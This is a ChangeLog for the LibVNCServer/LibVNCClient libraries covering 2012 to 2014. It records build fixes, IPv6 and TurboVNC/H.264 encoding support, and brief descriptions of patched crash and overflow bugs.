2014-08-26 dscho <>
* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
2014-08-18 Nicolas Ruff <>
* libvncserver/rfbserver.c: Check malloc() return value on
client->server ClientCutText message. Client can send up to 2**32-1
bytes of text, and such a large allocation is likely to fail in case
of high memory pressure. This would in a server crash (write at
address 0).
2014-08-16 dscho <>
* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
2014-08-16 Johannes Schindelin <>
* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <>
2014-08-10 Luca Falavigna <>
* acinclude.m4: Enable support for ppc64el architecture
2014-08-10 Luca Falavigna <>
*, Use Libs.private to avoid
unnecessary linkage
2014-08-16 Johannes Schindelin <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <>
2014-08-16 dscho <>
* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
2014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
* libvncclient/vncviewer.c: Fix integer overflow in
MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
frame buffer allocation for very large screen sizes
2013-09-28 Amandeep Singh <>
* libvncserver/sockets.c: allow rfbInitSockets with non-ready
states. This allows for reinitializations of e. g. sockets in a SHUTDOWN
state. The only state that doesn't make sense to reinitialize are
READY states.
2013-10-09 Amandeep Singh <>
* libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
rfbClientConnectionGone call missing
2014-07-10 Will Thompson <>
* x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
and currently calls X_UNLOCK on behalf of the caller. But in
practice, all callers assume that the lock is still held after
check_xrandr_event() returns. In particular, this leads to a
double-unlock and crash in check_xevents() on any xrandr event.
2014-07-18 dscho <>
* : Merge pull request #13 from
wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
2014-06-27 Johannes Schindelin <>
* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
Oberhumer LZO (CVE-2014-4607): This was also reported by Alex Xu as Signed-off-by: Johannes Schindelin <>
2014-06-23 dscho <>
* : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* libvncclient/rfbproto.c: Initialize padding in
SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within
another project, and should change nothing when compiled alone. For example when having a directory structure like
"my_project/external/libvnc", where in libvnc resides a checkout of
libvncserver, one can just reference that directory from the
CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
one can just hack away without having to manually make / install
LibVNCServer whenever something is changed there.
2014-05-14 dscho <>
* : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
2014-04-05 Johannes Schindelin <>
* libvncclient/rfbproto.c: libvncclient: If we have TLS support,
enable VeNCrypt by default Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the vencrypt document Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
TigerVNC: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* examples/repeater.c: Repeater example: show how to shut down
cleanly Since we connected to the client through the repeater, chances are
that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* .gitignore, examples/, examples/repeater.c: Add an
example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
with a so-called repeater (e.g. to bridge firewalled clients and
servers): This example demonstrates how to use that feature with a
LibVNCServer-based server. Signed-off-by: Johannes Schindelin <>
2014-04-05 Christian Beier <>
*, webclients/novnc/,
webclients/novnc/vnc.html: Update sourceforge links to point to
2014-03-31 Johannes Schindelin <>
* libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
downloaded manually from Signed-off-by: Johannes Schindelin <>
2014-03-30 Robbert Klarenbeek <>
* libvncclient/vncviewer.c: Address #12 ClientData does not get
freed rfbClientSetClientData() allocates a new rfbClientData, but never
gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* examples/example.c, test/encodingstest.c: After free()ing
clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <>
2013-02-27 Joel Martin <>
* libvncserver/websockets.c: Set opcode correctly for binary frames.
2013-01-25 Christian Beier <>
* rfb/rfbproto.h: Remove unneeded #ifdefs.
2013-01-25 Christian Beier <>
* rfb/rfbclient.h: Fix ABI compatibility issue.
2013-01-09 David Verbeiren <>
* client_examples/gtkvncviewer.c,,
libvncclient/, libvncclient/h264.c,
libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
updates This patch implements support in LibVNCClient for framebuffer
updates encoded as H.264 frames. Hardware accelerated decoding is
performed using VA API. This is experimental support to let the community explore the
possibilities offered by the potential bandwidth and latency
reductions that H.264 encoding allows. This may be particularly
useful for use cases such as online gaming, hosted desktops, hosted
set top boxes... This patch only provides the client side support and is meant to be
used with corresponding server-side support, as provided by an
upcoming patch for qemu ui/vnc module (to view the display of a
virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
messages are generated for a single server framebuffer modification,
the H.264 frame data is sent only with the first update message.
Subsequent update framebuffer messages will contain only the
coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
submitted with minor enhancements to the gtkvncviewer application: * Currently only works with libva 1.0: use branch "v1.0-branch" for
libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./ make sudo make install cd .. git clone git:// cd intel-driver git checkout v1.0-branch ./ make sudo make install Signed-off-by: David Verbeiren <>
2013-01-08 David Verbeiren <>
* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
2012-09-14 Christian Beier <>
* AUTHORS: Add Raphael to AUTHORS.
2012-09-11 Raphael Kubo da Costa <>
* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Work around a gcc bug with anonymous
structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
but works. [1]
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Add the required headers for read(2)
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt,, libvncserver/websockets.c,
rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
websocket.c. byteswap.h exists only on glibc, so building libvncserver with
websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with
calls to htobeNN, which should perform the same conversions, be more
portable and avoid the need to check for the platform's endianness.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt, Do not hardcode the need for
libresolv. libresolv is only present on systems which use glibc; platforms such
as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it
exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
after performing the necessary tests, since we do not always want to
link against libresolv.
2012-09-11 Raphael Kubo da Costa <>
* common/vncauth.c, libvncclient/rfbproto.c,
libvncclient/sockets.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/websockets.c: Tune the definitions needed when building
with -ansi. The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation. However, this means other platforms still had problems when building
with strict compilation flags. _BSD_SOURCE, for example, is only
recognized by glibc, and other platforms sometimes need
_XOPEN_SOURCE instead, or even the removal of some definitions (such
as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places,
as what it enables or disables during compilation varies across
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/sockets.c, libvncserver/websockets.c: Add some
missing feature macro definitions. Building with -ansi failed due to some code (as well as system
headers) using non-C89 features. Fix that by adding the usual
_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
other files.
2012-09-11 Raphael Kubo da Costa <>
* common/turbojpeg.c, libvncserver/tight.c,
libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
code. Using C++-style comments when building the code with -ansi does not
work, so be more conservative with the comment style.
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to
the compiler, so including that file fails.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it
directly; this caused linking problems for the client and server
examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless
of whether it has been found or not has not been touched by this
commit, though.
2012-08-19 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC webclient.
2012-08-19 Christian Beier <>
2012-08-08 Oliver Loch <>
* libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
without IPv4. As requested only those lines are indented that have been changed.
2012-07-20 Johannes Schindelin <>
* AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <>
2012-07-19 Rostislav Lisovy <>
* libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
conversion Signed-off-by: Rostislav Lisovy <> Signed-off-by:
Johannes Schindelin <>
2012-05-31 Christian Beier <>
* libvncserver/config.h, libvncserver/rfbconfig.h: Remove
autogenerated files from repo.
2012-05-23 Christian Beier <>
* CMakeLists.txt,, rfb/rfbconfig.h.cmake: Add Compile
Time Version Test Defines.
2012-05-18 Kyle J. McKay <>
* libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
when listenSock/listen6Sock == -1
2012-05-09 Christian Beier <>
* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
too unimportant errors.
2012-05-07 Christian Beier <>
* TODO: Update TODO.
2012-05-07 Luca Falavigna <>
* test/encodingstest.c: Encodingstest: Use format string argument
with fprintf.
2012-05-05 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.10.
2012-05-04 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.9.
2012-05-04 Christian Beier <>
* Enable building DLLs with MinGW32.
2012-05-04 Christian Beier <>
* NEWS: Update NEWS for 0.9.9.
2012-05-03 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
it's WIN32. The various other headers include windows.h and the winsock headers
which give an error when SOCKET and socklen_t are already defined.
2012-05-03 Christian Beier <>
* rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff.
2012-04-30 Christian Beier <>
* libvncserver/ LibVNCServer: Prefer GnuTLS over OpenSSL
to be in sync with LibVNCClient.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
related build fixes.
2012-04-30 Christian Beier <>
* Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
still uses JPEG rects as well. Theoretically, we could build
TightPNG with only libpng and libjpeg - without zlib - but libpng
depends on zlib, so this is kinda moot.
2012-04-27 Christian Beier <>
* test/ Only build libjpeg test programs if libjpeg is
actually available.
2012-04-26 Christian Beier <>
* CMakeLists.txt: Fix CMake build of LibVNCClient.
2012-04-26 Christian Beier <>
* libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning.
2012-04-26 Christian Beier <>
* Fix build when no libjpeg is available.
2012-04-26 Christian Beier <>
* examples/android/, libvncserver/ Include
some more missing files for make dist.
2012-04-25 Christian Beier <>
* libvncserver/ Include missing files for make dist.
2012-04-25 Christian Beier <>
* libvncclient/ Fix libvncclient make dist.
2012-04-25 Christian Beier <>
* Better check for Linux build.
2012-04-25 Christian Beier <>
* vncterm/ Binaries that are to be installed should be
all lowercase.
2012-04-25 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.9.
2012-04-25 Christian Beier <>
* common/turbojpeg.c, libvncserver/rfbserver.c,
libvncserver/websockets.c, test/tjbench.c: Fix some compiler
warnings thrown with newer gcc.
2012-04-25 Christian Beier <>
* test/ Fix turbojpeg tests compilation.
2012-04-25 DRC <>
* common/turbojpeg.c: Fix compilation with some libjpeg
2012-04-22 Monkey <>
* libvncclient/rfbproto.c: Added support for UltraVNC Single Click
as originally proposed by Noobius (Boobius) on 6/1/11. Original thread:
2012-04-15 Christian Beier <>
* AUTHORS: Add Philip to AUTHORS.
2012-04-15 Christian Beier <>
* libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
library available.
2012-04-15 Christian Beier <>
* libvncclient/tls_openssl.c: LibVNCClient: properly free the
openssl session stuff on shutdown.
2012-04-15 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
#ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
2012-04-14 Christian Beier <>
* Unify GnuTLS vs OpenSSL build systems stuff between
libvncclient and libvncserver.
2012-04-14 Christian Beier <>
* libvncclient/, libvncclient/{tls.c => tls_gnutls.c},
libvncclient/tls_none.c, libvncclient/tls_openssl.c: Add the OpenSSL
libvncclient TLS version to the build system.
2012-04-12 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib.
2012-04-12 Christian Beier <>
* libvncserver/tight.c: Make TurboVNC compress level 3 actually
2012-04-09 DRC <>
* common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
emulation code, which is only active when using regular libjpeg (not
libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <>
2012-04-02 Christian Beier <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
LibVNCServer, part four: add copyright notices to files with
non-trivial changes.
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
keys correctly Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that
both SDL and X11 keysyms were created with ASCII compatibility in
mind. So as long as we type ASCII symbols, we can map things
trivially. Signed-off-by: Johannes Schindelin <>
2012-03-23 DRC <>
* CMakeLists.txt: Extend support for the new TurboVNC encoder to the
CMake build system
2012-03-25 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
rfb/rfbproto.h, test/, test/bmp.c, test/bmp.h,
test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h:
Replace TightVNC encoder with TurboVNC encoder. This patch is the
result of further research and discussion that revealed the
following: -- TightPng encoding and the rfbTightNoZlib extension need not
conflict. Since TightPng is a separate encoding type, not supported
by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
can be used solely whenever the encoding type is Tight and disabled
with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically
useless. On the set of 20 low-level datasets that were used to
design the TurboVNC encoder (these include the eight 2D application
captures that were also used when designing the TightVNC encoder, as
well as 12 3D application captures provided by the VirtualGL
Project-- see,
moving from Compression Level (CL) 5 to CL 9 in the TightVNC
encoder did not increase the compression ratio of any datasets more
than 10%, and the compression ratio only increased by more than 5%
on four of them. The compression ratio actually decreased a few
percent on five of them. In exchange for this paltry increase in
compression ratio, the CPU usage, on average, went up by a factor of
5. Thus, for all intents and purposes, TightVNC CL 5 provides the
"best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video
workloads significantly more "tightly" than TightVNC CL 5 (~70%
better, in the aggregate) but does not quite achieve the same level
of compression with 2D workloads (~20% worse, in the aggregate.)
This decrease in compression ratio may or may not be noticeable,
since many of the datasets it affects are not performance-critical
(such as the console output of a compilation, etc.) However, for
peace of mind, it was still desirable to have a mode that compressed
with equal "tightness" to TightVNC CL 5, since we proposed to
replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces,
in the aggregate, similar compression ratios on 2D datasets as
TightVNC CL 5. That new mode involves using Zlib level 7 (the same
level used by TightVNC CL 5) but setting the "palette threshold" to
256, so that indexed color encoding is used whenever possible. This
mode reduces bandwidth only marginally (typically 10-20%) relative
to TurboVNC CL 2 on low-color workloads, in exchange for nearly
doubling CPU usage, and it does not benefit high-color workloads at
all (since those are usually encoded with JPEG.) However, it
provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for
3D/video workloads, and without using any more CPU time than
necessary. -- The TurboVNC encoder still performs as well or better than the
TightVNC encoder when plain libjpeg is used instead of
libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
can be used with plain libjpeg as well. This required updating the
TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
mainly because the TurboJPEG 1.2 API handles pixel formats in a much
cleaner way, which made the conversion code easier to write. It
also eases the maintenance to have the wrapper synced as much as
possible with the upstream code base (so I can merge any relevant
bug fixes that are discovered upstream.) The libvncserver version of
the TurboJPEG wrapper is a "lite" version, containing only the JPEG
compression/decompression code and not the lossless transform, YUV
encoding/decoding, and dynamic buffer allocation features from
TurboJPEG 1.2. Removed the --with-turbovnc option. configure still
checks for the presence of libjpeg-turbo, but only for the purposes
of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
patch. We cannot use tightQualityLevel for the TurboVNC 1-100
quality level, because tightQualityLevel is also used by ZRLE.
Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix
afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the
TurboVNC encoder. Relative to the initial TurboVNC encoder patch,
this patch also: -- Adds TightPng support to the TurboVNC encoder --
Adds the afore-mentioned low-bandwidth mode, which is mapped
externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
wrapper) as well as TJBench (a benchmark for same.) These are
useful for ensuring that the wrapper still functions correctly and
performantly if it needs to be modified for whatever reason. Both
of these programs are derived from libjpeg-turbo 1.2.0. As with the
TurboJPEG wrapper, they do not contain the more advanced features of
TurboJPEG 1.2, such as YUV encoding/decoding and lossless
2012-03-15 Christian Beier <>
2012-03-15 Christian Beier <>
* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
struct. Try to not break ABI between releases. Even if the code gets ugly...
2012-03-10 DRC <>
* x11vnc/ Fix the build of x11vnc when an out-of-tree
build directory is used
2012-03-10 DRC <>
* libvncserver/rfbserver.c: Fix an issue that affects the existing
Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is
impossible to disable Tight JPEG encoding. The way Tight/Turbo
viewers disable JPEG encoding is by simply not sending the Tight
quality value, causing the server to use the default value of -1.
Thus, cl->tightQualityLevel has to be set to -1 prior to processing
the encodings message for this mechanism to work. Similarly, it is
not guaranteed that the compress level will be set in the encodings
message, so it is set to a default value prior to processing the
2012-03-10 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
encoding support. TurboVNC is a variant of TightVNC that uses the same client/server
protocol (RFB version 3.8t), and thus it is fully cross-compatible
with TightVNC and TigerVNC (with one exception, which is noted
below.) Both the TightVNC and TurboVNC encoders analyze each
rectangle, pick out regions of solid color to send separately, and
send the remaining subrectangles using mono, indexed color, JPEG, or
raw encoding, depending on the number of colors in the subrectangle.
However, TurboVNC uses a fundamentally different selection algorithm
to determine the appropriate subencoding to use for each
subrectangle. Thus, while it sends a protocol stream that can be
decoded by any TightVNC-compatible viewer, the mix of subencoding
types in this protocol stream will be different from those generated
by a TightVNC server. The research that led to TurboVNC is described in the following
report: In
summary: 20 RFB captures, representing "common" 2D and 3D
application workloads (the 3D workloads were run using VirtualGL),
were studied using the TightVNC encoder in isolation. Some of the
analysis features in the TightVNC encoder, such as smoothness
detection, were found to generate a lot of CPU usage with little or
no benefit in compression, so those features were disabled. JPEG
encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
speedup over plain libjpeg on modern x86 or ARM processors.)
Finally, the "palette threshold" (minimum number of colors that the
subrectangle must have before it is compressed using JPEG or raw)
was adjusted to account for the fact that JPEG encoding is now quite
a bit faster (meaning that we can now use it more without a CPU
penalty.) TurboVNC has additional optimizations, such as the
ability to count colors and encode JPEG images directly from the
framebuffer without first translating the pixels into RGB. The
TurboVNC encoder compares quite favorably in terms of compression
ratio with TightVNC and generally encodes a great deal faster (often
an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
roughly equivalent to the one found in version 0.6 of the Unix
TurboVNC Server, with a few minor patches integrated from TurboVNC
1.1. TurboVNC 1.0 added multi-threading capabilities, which can be
added in later if desired (at the expense of making libvncserver
depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
than TightVNC, because it uses the identical protocol (and thus a
viewer really has no idea whether it's talking to a TightVNC or
TurboVNC server), and because it doesn't support rfbTightPng (and in
fact conflicts with it-- see below), the TurboVNC and TightVNC
encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
a TightVNC server, and vice versa. TurboVNC supports
pseudo-encodings for specifying a fine-grained (1-100) quality scale
and specifying chrominance subsampling. If a TurboVNC viewer sends
those to a TightVNC server, then the TightVNC server ignores them,
so the TurboVNC viewer also sends the quality on a 0-9 scale that
the TightVNC server can understand. Similarly, the TurboVNC server
checks first for fine-grained quality and subsampling
pseudo-encodings from the viewer, and failing to receive those, it
then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and
that is when a TightVNC or TigerVNC viewer requests compression
level 0 without JPEG from a TurboVNC server. For performance
reasons, this causes the TurboVNC server to send images directly to
the viewer, bypassing Zlib. When the TurboVNC server does this, it
also sets bits 7-4 in the compression control byte to rfbTightNoZlib
(0x0A), which is unfortunately the same value as rfbTightPng. Older
TightVNC viewers that don't handle PNG will assume that the stream
is uncompressed but still encapsulated in a Zlib structure, whereas
newer PNG-supporting TightVNC viewers will assume that the stream is
PNG. In either case, the viewer will probably crash. Since most
VNC viewers don't expose compression level 0 in the GUI, this is a
relatively rare situation. Description of changes: -- Added support for libjpeg-turbo. If passed an
argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
whether the libjpeg library being used is libjpeg-turbo.
libjpeg-turbo must be used when building the TurboVNC encoder,
because the TurboVNC encoder relies on the libjpeg-turbo
colorspace extensions in order to compress images directly out of
the framebuffer (which may be, for instance, BGRA rather than RGB.)
libjpeg-turbo can optionally be used with the TightVNC encoder as
well, but the speedup will only be marginal (the report linked above
explains why in more detail, but basically it's because of Amdahl's
Law. The TightVNC encoder was designed with the assumption that
JPEG had a very high CPU cost, and thus JPEG is used only
sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This
is necessitated by the fact that libjpeg-turbo often distributes
libjpeg.a and in /opt/libjpeg-turbo/lib32 or
/opt/libjpeg-turbo/lib64, and many people prefer to statically
link with it. Thus, more flexibility is needed than is provided by
--with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the
changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is
still used to set the include path.) The addition of JPEG_LDFLAGS
necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because
AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we
want if we're, for instance, linking statically with libjpeg-turbo.)
-- configure does not check for PNG support if TurboVNC encoding is
enabled. This prevents the rfbSendRectEncodingTightPng() function
from being compiled in, since the TurboVNC encoder doesn't (and
can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API
used to compress and decompress JPEG images in memory. It was
originally implemented because it was desirable to use different
types of underlying technologies to compress JPEG on different
platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel
Performance Primitives, etc.) These days, however, libjpeg-turbo
is the only underlying technology used by TurboVNC, so TurboJPEG's
purpose is largely just code simplicity and flexibility. Thus,
since there is no real need for libvncserver to use any technology
other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper
for libjpeg-turbo has been included in-tree so that libvncserver can
be directly linked with libjpeg-turbo. This is convenient because
many modern Linux distros (Fedora, Ubuntu, etc.) now ship
libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC
fine-grained quality level and subsampling encodings and to map
Tight (0-9) quality levels to appropriate fine-grained quality level
and subsampling values if communicating with a TightVNC/TigerVNC
viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of
libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality
level and subsampling encodings as well as the rfbTightNoZlib
constant and notes on its usage.
2012-03-10 Christian Beier <>
* client_examples/SDLvncviewer.c, libvncclient/listen.c,
libvncclient/sockets.c, libvncclient/vncviewer.c,
libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for
LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces
some changes on the client side as well to make clients listen on
IPv6 sockets, too. Like the server side, this also uses a
separate-socket approach.
2012-03-10 Christian Beier <>
* libvncserver/sockets.c: IPv6 support for LibVNCServer, part
onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the
2012-03-09 Christian Beier <>
* webclients/index.vnc: IPv6 support for LibVNCServer, part
twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in
document.location.hostname, so add them if missing.
2012-02-27 Christian Beier <>
* libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c,
rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http
server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach
as well.
2012-02-27 Christian Beier <>
* libvncserver/main.c: IPv6 support for LibVNCServer, part
onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race
2012-02-27 Christian Beier <>
* libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for
LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in...
2012-02-20 Christian Beier <>
* libvncserver/cargs.c, libvncserver/main.c,
libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6
support for LibVNCServer, part one: accept IPv4 and IPv6
connections. This uses a separate-socket approach since there are systems that do
not support dual binding sockets under *any* circumstances, for
instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus
more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier <>
2012-02-11 Mateus Cesar Groess <>
* AUTHORS, client_examples/,
client_examples/gtkvncviewer.c, Here is a port of
SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the
viewer, because a GTK GUI seems to be easier to implement than a SDL
one (and it is more integrated with the major Linux Desktops out
there). Signed-off-by: Christian Beier <>
2012-02-11 Christian Beier <>
2012-02-10 Kyle J. McKay <>
* libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support
Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to
LibVNCServers running with no password and advertising a server
version of 3.7 or greater.
2012-02-04 Johannes Schindelin <>
* AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <>
2012-02-04 Luca Stauble <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter
to specify the ip address for reverse connections For security reasons, it can be important to limit which IP
